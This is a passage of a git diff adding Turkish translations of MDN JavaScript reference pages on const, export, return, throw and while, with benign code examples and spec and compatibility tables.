initialized</h3> + +<pre class="brush: js notranslate">// throws an error +// Uncaught SyntaxError: Missing initializer in const declaration + +const FOO; +</pre> + +<h3 id="const_in_objects_and_arrays">const in objects and arrays</h3> + +<p>const also works on objects and arrays.</p> + +<pre class="brush: js notranslate">const MY_OBJECT = {'key': 'value'}; + +// Attempting to overwrite the object throws an error +// Uncaught TypeError: Assignment to constant variable. +MY_OBJECT = {'OTHER_KEY': 'value'}; + +// However, object keys are not protected, +// so the following statement is executed without problem +MY_OBJECT.key = 'otherValue'; // Use Object.freeze() to make object immutable + +// The same applies to arrays +const MY_ARRAY = []; +// It's possible to push items into the array +MY_ARRAY.push('A'); // ["A"] +// However, assigning a new array to the variable throws an error +// Uncaught TypeError: Assignment to constant variable. +MY_ARRAY = ['B'];</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.statements.const")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Statements/var", "var")}}</li> + <li>{{jsxref("Statements/let", "let")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Constants">Constants in the JavaScript Guide</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/statements/export/index.html b/files/tr/web/javascript/reference/statements/export/index.html new file mode 100644 index 0000000000..ccc8dd657e --- /dev/null +++ b/files/tr/web/javascript/reference/statements/export/index.html @@ -0,0 +1,186 @@ +--- +title: export +slug: Web/JavaScript/Reference/Statements/export +translation_of: Web/JavaScript/Reference/Statements/export +--- +<div>{{jsSidebar("Statements")}}</div> + +<p><strong><code>export</code></strong> ifadesi JavaScript modülleri oluştururken fonksiyonların, nesnelerin ve temel değerlerin dışarı aktarılmasını sağlayarak, diğer programlar tarafından {{jsxref("Statements/import", "import")}} ifadesiyle kullanılmasını sağlar.</p> + +<div class="note"> +<p>Bu özellik şu an için yerel olarak sadece Safari'de uygulanmıştır. <a href="https://github.com/google/traceur-compiler">Traceur Compiler</a>, <a href="http://babeljs.io/">Babel</a> veya <a href="https://github.com/rollup/rollup">Rollup</a> gibi bir çok transpiler tarafından da uygulanmaktadır.</p> +</div> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="syntaxbox">export { <em>isim<var>1</var></em>, <em>isim</em><var>2</var>, …, <em>isim</em><var>N</var> }; +export { <var>degisken1</var> as <var>isim1</var>, <var>degisken2</var> as <var>isim2</var>, …, <var>isimN</var> }; +export let <var>isim1</var>, <var>isim2</var>, …, <var>isimN</var>; // ayrıca var, function +export let <var>isim1</var> = …, <var>isim2</var> = …, …, <var>isimN</var>; // ayrıca var, const + +export default <em>ifade</em>; +export default function (…) { … } // ayrıca class, function* +export default function isim1(…) { … } // ayrıca class, function* +export { <var>isim1</var> as default, … }; + +export * from …; +export { <em>isim</em><var>1</var>, <em>isim</em><var>2</var>, …, <em>isim</em><var>N</var> } from …; +export { <var>import1</var> as <var>isim1</var>, <var>import2</var> as <var>isim2</var>, …, <var>isimN</var> } from …;</pre> + +<dl> + <dt><code>isimN</code></dt> + <dd>Dışa aktarılacak belirleyici (böylece {{jsxref("Statements/import", "import")}} kullanılarak diğer programda içe aktarılabilir).</dd> +</dl> + +<h2 id="Açıklama">Açıklama</h2> + +<p>İki çeşit dışa aktarım vardır. Her biri aşağıdaki sözdizimlerden birine karşılık gelmektedir:</p> + +<ul> + <li>İsimlendirilmiş dışa aktarım: + <pre class="brush: js">// önceden tanımlı bir fonksiyonu dışa aktarır +export { birFonksiyon }; + +// bir sabiti dışa aktarır +export const karekok = Math.sqrt(2);</pre> + </li> + <li>Varsayılan dışa aktarım (fonksiyon): + <pre class="brush: js">export default function() {} </pre> + </li> + <li>Varsayılan dışa aktarım (sınıf): + <pre class="brush: js">export default class {} </pre> + </li> +</ul> + +<p>İsimlendirilmiş dışa aktarımlar birden fazla değeri dışarı aktarmak için kullanışlıdır. İçe aktarım sırasında, aynı isimle ve buna karşılık gelen değeri ile kullanılabilecektir.</p> + +<p>Varsayılan dışa aktarımla ilgili olarak, her bir modül için sadece bir adet varsayılan dışa aktarım vardır. Varsayılan dışa aktarım bir fonksiyon, bir sınıf, bir nesne veya başka bir şey olabilir. Dışa aktarımı en basit olacağından dolayı bu değer dışa aktarılan "ana" değer olarak nitelendirilecektir.</p> + +<p>Varsayılanların dışa aktarımı: Aşağıdaki sözdizimi varsayılan dışa aktarımı içe aktaran modülde gerçekleşmeyecektir:</p> + +<pre>export * from …;</pre> + +<p>Eğer varsayılanı dışa aktarmak isterseniz, aşağıdakini yazınız:</p> + +<pre>import mod from "mod"; +export default mod;</pre> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="İsimlendirilmiş_dışa_aktarımları_kullanmak">İsimlendirilmiş dışa aktarımları kullanmak</h3> + +<p>Modül içerisinde, aşağıdaki kodu kullanabiliriz:</p> + +<pre class="brush: js">// modül "benim-modulum.js" +function kup(x) { + return x * x * x; +} +const deger = Math.PI + Math.SQRT2; +export { kup, deger }; +</pre> + +<p>Bu yolla, başka bir kod içerisinde (karşılaştır <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a></code>), şunu yapabiliriz:</p> + +<pre class="brush: js">import { kup, deger } from 'benim-modulum'; +console.log(kup(3)); // 27 +console.log(deger); // 4.555806215962888</pre> + +<h3 id="Varsayılanın_dışa_aktarımının_kullanılması">Varsayılanın dışa aktarımının kullanılması</h3> + +<p>Eğer modülümüz için tek bir değeri dışa aktarmak istiyorsak veya bir son değere sahip olmak istiyorsak, varsayılan dışa aktarımı kullanabiliriz:</p> + +<pre class="brush: js">// modül "benim-modulum.js" +export default function kup(x) { + return x * x * x; +} +</pre> + +<p>Sonra, başka bir kod içerisinde, varsayılan dışa aktarımı içe aktarmak anlaşılır olacaktır:</p> + +<pre class="brush: js">import kup from 'benim-modulum'; +console.log(kup(3)); // 27 +</pre> + +<p>Dikkate alınız ki <code>var</code>, <code>let</code> veya <code>const</code> anahtar kelimelerini <code>export default</code> ile kullanamazsınız.</p> + +<h2 id="Spesifikasyonlar">Spesifikasyonlar</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spesifikasyon</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-exports', 'Exports')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>İlk tanım.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel destek</td> + <td>61 (60 w/ flag)</td> + <td>{{CompatNo}} (54 w/ flag)</td> + <td>{{CompatNo}} (15 w/flag)</td> + <td>{{CompatNo}}</td> + <td>10.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel destek</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>10.3</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("Statements/import", "import")}}</li> + <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li> + <li><a href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/statements/index.html b/files/tr/web/javascript/reference/statements/index.html new file mode 100644 index 0000000000..b9fd7f94a0 --- /dev/null +++ b/files/tr/web/javascript/reference/statements/index.html @@ -0,0 +1,141 @@ +--- +title: Statements and declarations +slug: Web/JavaScript/Reference/Statements +tags: + - JavaScript + - NeedsTranslation + - Reference + - TopicStub + - statements +translation_of: Web/JavaScript/Reference/Statements +--- +<div>{{jsSidebar("Statements")}}</div> + +<p>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</p> + +<h2 id="Statements_and_declarations_by_category">Statements and declarations by category</h2> + +<p>For an alphabetical listing see the sidebar on the left.</p> + +<h3 id="Control_flow">Control flow</h3> + +<dl> + <dt>{{jsxref("Statements/block", "Block")}}</dt> + <dd>A block statement is used to group zero or more statements. The block is delimited by a pair of curly brackets.</dd> + <dt>{{jsxref("Statements/break", "break")}}</dt> + <dd>Terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement.</dd> + <dt>{{jsxref("Statements/continue", "continue")}}</dt> + <dd>Terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration.</dd> + <dt>{{jsxref("Statements/Empty", "Empty")}}</dt> + <dd>An empty statement is used to provide no statement, although the JavaScript syntax would expect one.</dd> + <dt>{{jsxref("Statements/if...else", "if...else")}}</dt> + <dd>Executes a statement if a specified condition is true. If the condition is false, another statement can be executed.</dd> + <dt>{{jsxref("Statements/switch", "switch")}}</dt> + <dd>Evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case.</dd> + <dt>{{jsxref("Statements/throw", "throw")}}</dt> + <dd>Throws a user-defined exception.</dd> + <dt>{{jsxref("Statements/try...catch", "try...catch")}}</dt> + <dd>Marks a block of statements to try, and specifies a response, should an exception be thrown.</dd> +</dl> + +<h3 id="Declarations">Declarations</h3> + +<dl> + <dt>{{jsxref("Statements/var", "var")}}</dt> + <dd>Declares a variable, optionally initializing it to a value.</dd> + <dt>{{jsxref("Statements/let", "let")}}</dt> + <dd>Declares a block scope local variable, optionally initializing it to a value.</dd> + <dt>{{jsxref("Statements/const", "const")}}</dt> + <dd>Declares a read-only named constant.</dd> +</dl> + +<h3 id="Functions_and_classes">Functions and classes</h3> + +<dl> + <dt>{{jsxref("Statements/function", "function")}}</dt> + <dd>Declares a function with the specified parameters.</dd> + <dt>{{jsxref("Statements/function*", "function*")}}</dt> + <dd>Generators functions enable writing <a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">iterators</a> more easily.</dd> + <dt>{{jsxref("Statements/return", "return")}}</dt> + <dd>Specifies the value to be returned by a function.</dd> + <dt>{{jsxref("Statements/class", "class")}}</dt> + <dd>Declares a class.</dd> +</dl> + +<h3 id="Iterations">Iterations</h3> + +<dl> + <dt>{{jsxref("Statements/do...while", "do...while")}}</dt> + <dd>Creates a loop that executes a specified statement until the test condition evaluates to false. The condition is evaluated after executing the statement, resulting in the specified statement executing at least once.</dd> + <dt>{{jsxref("Statements/for", "for")}}</dt> + <dd>Creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement executed in the loop.</dd> + <dt>{{deprecated_inline}} {{non-standard_inline()}} {{jsxref("Statements/for_each...in", "for each...in")}}</dt> + <dd>Iterates a specified variable over all values of object's properties. For each distinct property, a specified statement is executed.</dd> + <dt>{{jsxref("Statements/for...in", "for...in")}}</dt> + <dd>Iterates over the enumerable properties of an object, in arbitrary order. For each distinct property, statements can be executed.</dd> + <dt>{{jsxref("Statements/for...of", "for...of")}}</dt> + <dd>Iterates over iterable objects (including {{jsxref("Global_Objects/Array","arrays","","true")}}, array-like objects, <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">iterators and generators</a>), invoking a custom iteration hook with statements to be executed for the value of each distinct property.</dd> + <dt>{{jsxref("Statements/while", "while")}}</dt> + <dd>Creates a loop that executes a specified statement as long as the test condition evaluates to true. The condition is evaluated before executing the statement.</dd> +</dl> + +<h3 id="Others">Others</h3> + +<dl> + <dt>{{jsxref("Statements/debugger", "debugger")}}</dt> + <dd>Invokes any available debugging functionality. If no debugging functionality is available, this statement has no effect.</dd> + <dt>{{jsxref("Statements/export", "export")}}</dt> + <dd>Used to export functions to make them available for imports in external modules, another scripts.</dd> + <dt>{{jsxref("Statements/import", "import")}}</dt> + <dd>Used to import functions exported from an external module, another script.</dd> + <dt>{{jsxref("Statements/label", "label")}}</dt> + <dd>Provides a statement with an identifier that you can refer to using a <code>break</code> or <code>continue</code> statement.</dd> +</dl> + +<dl> + <dt>{{deprecated_inline}} {{jsxref("Statements/with", "with")}}</dt> + <dd>Extends the scope chain for a statement.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1', '#sec-12', 'Statements')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition</td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-12', 'Statements')}}</td> + <td>{{Spec2('ES3')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12', 'Statements')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>New: function*, let, for...of, yield, class</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators">Operators</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/statements/return/index.html b/files/tr/web/javascript/reference/statements/return/index.html new file mode 100644 index 0000000000..1a1188b3d5 --- /dev/null +++ b/files/tr/web/javascript/reference/statements/return/index.html @@ -0,0 +1,195 @@ +--- +title: return +slug: Web/JavaScript/Reference/Statements/return +tags: + - JavaScript + - fonksiyon durdurmak + - fonksiyon döndürmek + - komutlar + - return komutu +translation_of: Web/JavaScript/Reference/Statements/return +--- +<div>{{jsSidebar("Statements")}}</div> + +<p><strong><code>return</code></strong> komutu fonskiyonun çalışmasını bitirir ve fonksiyondan döndürülecek değeri belirler.</p> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">return [[ifade]]; </pre> + +<dl> + <dt><code>ifade</code></dt> + <dd>Döndürülecek ifade. Eğer atlanırsa, <code>undefined</code> döndürülür.</dd> +</dl> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Bir fonksiyonda <code><strong>return </strong></code>komutu çağırılırsa, o fonksiyonun çalışması durur. Eğer belirtilmişse, verilen değer fonksiyonu çağırana kadar döndürülür. Eğer ifade belirtilmemişse, <code>undefined döndürülür</code>. Aşağıdaki tüm <strong><code>return </code></strong>komutları çağırıldıkları fonksiyonun çalışmasını durdururlar:</p> + +<pre class="brush: js">return; +return true; +return false; +return x; +return x + y / 3; +</pre> + +<h3 id="Otomatik_Noktalı_Virgül_İlavesi">Otomatik Noktalı Virgül İlavesi</h3> + +<p><code><strong>return </strong></code>komutu <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">otomatik noktalı virgül ilavesi (ASI)</a>'ne dahildir. <code><strong>return </strong></code>ile <code><strong>ifade</strong></code> aynı satırda olmalıdır. Aksi halde;</p> + +<pre class="brush: js">return +a + b; +</pre> + +<p>ASI tarafıdan aşağıdaki gibi değiştirilir:</p> + +<pre>return; +a + b; +</pre> + +<p>Ve konsol size şu uyarıyı verecektir:"unreachable code after return statement (<em>return komutundan sonra ulaşılamayan kod</em>)".</p> + +<div class="note"> "return komutundan sonra ulaşılamayan kod" uyarısı Gecko 40 {{geckoRelease(40)}} sürümü ile başlamıştır.</div> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Değer_döndürme">Değer döndürme</h3> + +<p>Aşağıdaki fonksiyon x argümanının (burada x bir sayıdır), karesini döndürür.</p> + +<pre class="brush: js">function square(x) { + return x * x; +} +</pre> + +<h3 id="Fonksiyonu_yarıda_kesme">Fonksiyonu yarıda kesme</h3> + +<p>return çağırıldığında, çağırıldığı noktada o fonksiyon anında durur .</p> + +<pre class="brush: js">function sayac() { + for (var sayim = 1; ; sayim++) { // sonsuz döngü + console.log(sayim + "A"); // 5'e kadar çıktı verir. + if (sayim === 5) { + return; + } + console.log(sayim + "B"); // 4'e kadar çıktı verir. + } + console.log(sayim + "C"); // hiçbir çıktı vermez. +} + +sayac(); + +// Çıktı: +// 1A +// 1B +// 2A +// 2B +// 3A +// 3B +// 4A +// 4B +// 5A +</pre> + +<h3 id="Bir_fonksiyonu_döndürme">Bir fonksiyonu döndürme</h3> + +<p>Kapsanımlar hakkındaki şu makaleye de bakınız: <a href="/en-US/docs/Web/JavaScript/Closures">Closures</a>.</p> + +<pre class="brush: js">function magic(x) { + return function calc(x) { return x * 42 }; +} + +var answer = magic(); +answer(1337); // 56154 +</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Özellik</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Ön-tanımlı.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12.9', 'Return statement')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-return-statement', 'Return statement')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel destek</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Android için Chrome</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel destek</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope" title="En/Core_JavaScript_1.5_Reference/Functions">Fonksiyonlar</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Closures">Kapsanımlar</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/statements/throw/index.html b/files/tr/web/javascript/reference/statements/throw/index.html new file mode 100644 index 0000000000..5ad62b840f --- /dev/null +++ b/files/tr/web/javascript/reference/statements/throw/index.html @@ -0,0 +1,201 @@ +--- +title: throw +slug: Web/JavaScript/Reference/Statements/throw +translation_of: Web/JavaScript/Reference/Statements/throw +--- +<div>{{jsSidebar("Statements")}}</div> + +<p><code>Throw </code>ifadesi kullanıcı tanımlı bir istisna atar. Mevcut işlevin yürütülmesi durur (atmadan sonraki ifadeler yürütülmez) ve kontrol, çağrı yığındaki ilk yakalama blokuna geçirilir. Arayanlar arasında yakalama bloğu yoksa, program sonlanır.</p> + +<div>{{EmbedInteractiveExample("pages/js/statement-throw.html")}}</div> + +<p class="hidden">Bu interaktif örneğin için kaynak bir GitHub deposunda saklanır. Etkileşimli örnek projesine katkıda bulunmak isterseniz, lütfen <a href="/tr/docs/">https://github.com/mdn/interactive-examples</a> klonlayın ve bize bir request isteği gönderin.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox notranslate">throw <em>ifade</em>; </pre> + +<dl> + <dt><em>ifade</em></dt> + <dd>Hata fırlatmak için ifade.</dd> +</dl> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Bir hata fırlatmak için <code>throw</code> ifadesini kullanın. Bir hata fırlatırken, ifade hatanın değerini belirtir. Aşağıdakilerin her biri bir hata fırlatır:</p> + +<pre class="brush: js notranslate">throw 'Error2'; // String bir ifade ile hata oluşturur. +throw 42; // Integer bir değerde hata oluşturur. +throw true; // Boolean bir ifade de hata oluşturur. +throw new Error('Required'); // `Required` adıyla bir hata nesnesi oluşturur. +</pre> + +<p>Also note that the <code>throw</code> statement is affected by <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">automatic semicolon insertion (ASI)</a> as no line terminator between the <code>throw</code> keyword and the expression is allowed.</p> + +<h2 id="Örnek">Örnek</h2> + +<h3 id="İstisna_Nesnesi_Örneği">İstisna Nesnesi Örneği</h3> + +<p>Bir istisna atarken bir nesne belirtebilirsiniz. Daha sonra nesnenin özelliklerini <code>catch </code>bloğuna referansta bulabilirsiniz. Aşağıdaki örnek, <code>UserException </code>türünde bir nesne oluşturur ve bunu bir <code>throw </code>ifadesinde kullanır.</p> + +<pre class="brush: js notranslate">function UserException(message) { + this.message = message; + this.name = 'UserException'; +} +function getMonthName(mo) { + mo = mo - 1; // Dizi içinde bir ay sayısı belirlenir (1 = Jan, 12 = Dec) + var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', + 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; + if (months[mo] !== undefined) { + return months[mo]; + } else { + throw new UserException('InvalidMonthNo'); + } +} + +try { + // try bloğu + var myMonth = 15; // Bir yılda 15 ay bulunmaz. + var monthName = getMonthName(myMonth); +} catch (e) { + monthName = 'unknown'; + console.log(e.message, e.name); // catch bloğuna hata nesnesinin parametreleri giriliyor. +} +</pre> + +<h3 id="Bir_istisnayı_atmanın_başka_bir_örneği">Bir istisnayı atmanın başka bir örneği</h3> + +<p>Aşağıdaki örnek, ABD posta kodu için bir giriş dizesini sınar. Posta kodu geçersiz bir format kullanıyorsa, throw ifadesi bir nesne türü oluşturarak bir istisna atar .</p> + +<p><code>ZipCodeFormatException</code>.</p> + +<pre class="brush: js notranslate">/* + * Zip Kodu objesi oluşturulur. + * + * Kabul edilen zip kodları: + * 12345 + * 12345-6789 + * 123456789 + * 12345 6789 + * + * parametre kabul edilen zip kodlara uygun değilse + * bir istisna atılır. + */ + +function ZipCode(zip) { + zip = new String(zip); + pattern = /[0-9]{5}([- ]?[0-9]{4})?/; + if (pattern.test(zip)) { + // zip kodu değeri dizideki ilk eşleşme olacak + this.value = zip.match(pattern)[0]; + this.valueOf = function() { + return this.value + }; + this.toString = function() { + return String(this.value) + }; + } else { + throw new ZipCodeFormatException(zip); + } +} + +function ZipCodeFormatException(value) { + this.value = value; + this.message = 'bir posta kodu için beklenen değerlerle uyuşmuyor'; + this.toString = function() { + return this.value + this.message; + }; +} + +/* + * Zip kodlarını doğrulayan bir komut bloğu olabilir. + */ + +const ZIPCODE_INVALID = -1; +const ZIPCODE_UNKNOWN_ERROR = -2; + +function verifyZipCode(z) { + try { + z = new ZipCode(z); + } catch (e) { + if (e instanceof ZipCodeFormatException) { + return ZIPCODE_INVALID; + } else { + return ZIPCODE_UNKNOWN_ERROR; + } + } + return z; +} + +a = verifyZipCode(95060); // 95060 +b = verifyZipCode(9560); // -1 +c = verifyZipCode('a'); // -1 +d = verifyZipCode('95060'); // 95060 +e = verifyZipCode('95060 1234'); // 95060 1234 +</pre> + +<h3 id="Bir_istisnayı_tekrar_atmak">Bir istisnayı tekrar atmak</h3> + +<p>Hatayı yakaladıktan sonra bir özel durumu geri almak için <code>throw </code>kullanabilirsiniz. Aşağıdaki örnek,</p> + +<p>Seğer 50'nin üzerindeyse onu yeniden kullanır. Yeniden biçimlendirilmiş istisna, kullanıcının onu görebilmesi için kapama işlevine veya en üst düzeye kadar çoğalır..</p> + +<pre class="brush: js notranslate">try { + throw n; // integer bir değerde istisna atar +} catch (e) { + if (e <= 50) { + // değer 1 ile 50 arasında ise + } else { + // tekrar bir istisna atar + throw e; + } +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td> + <p>Başlangıç</p> + + <p>Javascript 1.4</p> + </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.statements.throw")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a></li> +</ul> diff --git a/files/tr/web/javascript/reference/statements/while/index.html b/files/tr/web/javascript/reference/statements/while/index.html new file mode 100644 index 0000000000..e9135ab063 --- /dev/null +++ b/files/tr/web/javascript/reference/statements/while/index.html @@ -0,0 +1,79 @@ +--- +title: while +slug: Web/JavaScript/Reference/Statements/while +translation_of: Web/JavaScript/Reference/Statements/while +--- +<div>{{jsSidebar("Statements")}}</div> + +<p><strong>while ifadesi</strong> tanımlanan koşul gerçekleştiği sürece belirtilen kodu çalıştırmaya devam eden bir döngü oluşturur. Önce şart kontrol edilir, eğer şart sağlanıyorsa kod çalıştırılır.</p> + +<div>{{EmbedInteractiveExample("pages/js/statement-while.html")}}</div> + + + +<h2 id="Sözdizimi_Syntax">Sözdizimi (Syntax)</h2> + +<pre class="syntaxbox notranslate">while (<var>condition</var>) + <var>statement</var> +</pre> + +<dl> + <dt><code><var>condition</var></code></dt> + <dd>Döngüdeki her bir tekrarlamadan önce kontrol edilen koşul. Eğer koşul sağlanıyorsa (true) <code>statement</code> çalıştırılır. Ancak koşul sağlanmıyorsa (false) <code>statement</code> çalıştırılmaz ve <code>while</code> döngüsünden sonra yazılan kod bloğu ile program çalışmaya devam eder.</dd> + <dt><code><var>statement</var></code></dt> + <dd>Koşul sağlandığında çalıştırılacak olan kod. Döngü içerisinde birden fazla kod satırı çalıştırmak için <a href="/en-US/docs/JavaScript/Reference/Statements/block">block</a> (<code>{ ... }</code>) ifade şeklini kullanabilirsiniz. </dd> + <dd><br> + Not: <code>break</code> ifadesini kullanarak döngüyü dilediğiniz zaman sonlandırabilirsiniz.</dd> +</dl> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="while_kullanımı">while kullanımı</h3> + +<p>Aşağıdaki örnekte bulunan (<code>n < 3</code>) ifadesi while döngüsünün koşulu yani <code>condition</code> kısmıdır. Süslü parantezler içerisinde bulunan kısım ise çalıştırılacak olan kod bloğu yani <code>statement</code> kısmıdır. Dolayısıyla aşağıdaki <code>while</code> döngüsü, <code>n</code> değişkeninin değeri üçten küçük olduğu sürece çalışmaya devam eder.</p> + +<pre class="brush:js notranslate">var n = 0; +var x = 0; + +while (n < 3) { + n++; + x += n; +}</pre> + +<p>Her tekrarlamada, döngü <code>n</code> değişkeninin değerini bir arttırır. Ardından <code>n</code> değişkeninin değerini <code>x</code> değişkeninin değerine ekler. Dolayısıyla, <code>x</code> ve <code>n</code> değişkenleri aşağıdaki değerlere sahip olurlar:</p> + +<ul> + <li>İlk tekrardan sonra: <code>n</code> = 1 ve <code>x</code> = 1</li> + <li>İkinci tekrardan sonra: <code>n</code> = 2 ve <code>x</code> = 3</li> + <li>Üçüncü tekrardan sonra: <code>n</code> = 3 ve <code>x</code> = 6</li> +</ul> + +<p>Üçüncü tekrardan sonra, <code>n</code> < 3 koşulu artık sağlanmadığı için döngü sonlanır.</p> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-while-statement', 'while statement')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + + + 